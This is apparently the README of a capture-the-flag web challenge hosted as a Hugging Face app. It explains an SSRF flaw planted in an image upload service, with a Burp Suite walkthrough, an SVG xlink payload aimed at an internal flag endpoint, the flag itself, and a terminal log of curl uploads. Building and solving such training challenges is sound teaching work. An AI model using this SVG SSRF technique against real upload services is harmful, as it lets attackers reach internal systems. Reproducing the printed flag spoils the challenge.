CoolFace
Apppublic

acm-rvce/belong

sourceHugging Faceupdated 6mo agoView on Hugging Face
0likes
App README

Where you don't belong

Description

This site will never allow you to get the flag HAHAHAH - Go where you don't belong and you will get what you deserve :)

Authors

Yash

Setup

  1. 1.Install dependencies:
   npm install
  1. 1.Start the server:
   npm start
  1. 1.The application will be available at http://localhost:7860.

OR

  1. 1.docker compose build
  2. 2.docker compose up

File Structure

  • server.js - Main backend server
  • public/ - Frontend files (index.html, style.css, app.js)
  • uploads/ - Temporary upload directory
  • flag.txt - Flag file (for internal use)

Notes

  • Only PNG, JPG, JPEG, and GIF files are accepted for upload.
  • SVG files are processed differently.

Challenge Overview

The application validates uploaded files by checking the filename extension but processes them based on the Content-Type header. This mismatch allows attackers to upload SVG files disguised as PNG files, leading to SSRF vulnerabilities.

Step 1: Normal Upload Test

  1. 1.Try uploading a legitimate PNG/JPG image
  2. 2.Observe that it works correctly

Step 2: Discover the Vulnerability

  1. 1.Read the hints on the web interface
  2. 2.Learn about filename vs Content-Type mismatch
  3. 3.Understand how SVG files can reference external resources

Step 3: Exploit the SSRF

Method : Using Burp Suite
  1. 1.Set up Burp Suite proxy
  2. 2.Upload the SVG file with .png extension
  3. 3.Intercept the request in Burp
  4. 4.Change the Content-Type header to image/svg+xml
  5. 5.Forward the request

Step 4: Retrieve the Flag

  • Target the internal admin endpoints:
  • http://localhost:7860/cool/flag (contains the flag!)

Target Endpoints

The server exposes several internal endpoints for SSRF:

  • /cool/flag - Contains the CTF flag

Example Payload

Basic SSRF Payload (payload_basic.svg)

xml
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
    <image xlink:href="http://localhost:7860/cool/flag" />
</svg>

Attack Steps:

  1. 1.Save as malicious.png
  2. 2.Upload via the web interface
  3. 3.Intercept request and change Content-Type to image/svg+xml

Why It Works

  1. 1.Server checks filename extension (.png passes validation)
  2. 2.Server processes based on Content-Type header (image/svg+xml)
  3. 3.SVG parser follows xlink:href references
  4. 4.Server makes HTTP requests to attacker-controlled URLs
  5. 5.Even though processing "fails", SSRF requests are already mad

Flag Format

ACMCTF{SVG_SSRF_XL1NK_PWN3D_N0D3JS}

Additional Resources and References.

Yash@Ubuntu:~$ cd Desktop/image-share/
Yash@Ubuntu:~/Desktop/image-share$ curl -i -X POST http://localhost:7860/api/upload -F "file=@test_payload.svg;type=image/svg+xml"
HTTP/1.1 422 Unprocessable Entity
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 134
ETag: W/"86-n4LEdDTewye1H9NQ4/6LijlaoOs"
Date: Sat, 30 Aug 2025 16:20:51 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{"success":false,"error":"Invalid file type. Only PNG, JPG, JPEG, and GIF files are allowed.","debug_info":["No Info of Value Found"]}Yash@Ubuntu:~/Desktop/image-share$ 
Yash@Ubuntu:~/Desktop/image-share$ curl -i -X POST http://localhost:7860/api/upload -F "file=@payload_webhook.png;type=image/png"
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 111
ETag: W/"6f-6GEE23yFhya6Dm4OB6EoodNnpbQ"
Date: Sat, 30 Aug 2025 16:21:20 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{"success":true,"message":"Image uploaded and processed successfully!","debug_info":["No Info of Value Found"]}Yash@Ubuntu:~/Desktop/image-share$ curl -i -X POST http://localhost:7860/api/upload -F "file=@test_payload.svg;type=image/cd Desktop/image-share/
bash: cd: Desktop/image-share/: No such file or directory
Yash@Ubuntu:~/Desktop/image-share$ curl -i -X POST http://localhost:7860/api/upload -F "file=@payload_webhook.png;type=image/svg+xml"
HTTP/1.1 422 Unprocessable Entity
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 142
ETag: W/"8e-o2dQfSh58vvipCYwKEg6xYKIj98"
Date: Sat, 30 Aug 2025 16:21:55 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{"success":false,"error":"Invalid file type. Only PNG, JPG, JPEG, and GIF files are allowed.","debug_info":["test_flag{this_is_a_test_flag}"]}Yash@Ubuntu:~/Desktop/image-share$ ls
docker-compose.yml  Dockerfile  flag.txt  node_modules  package.json  package-lock.json  payload_webhook.png  public  README.md  server.js  test_payload.svg  uploads
Yash@Ubuntu:~/Desktop/image-share$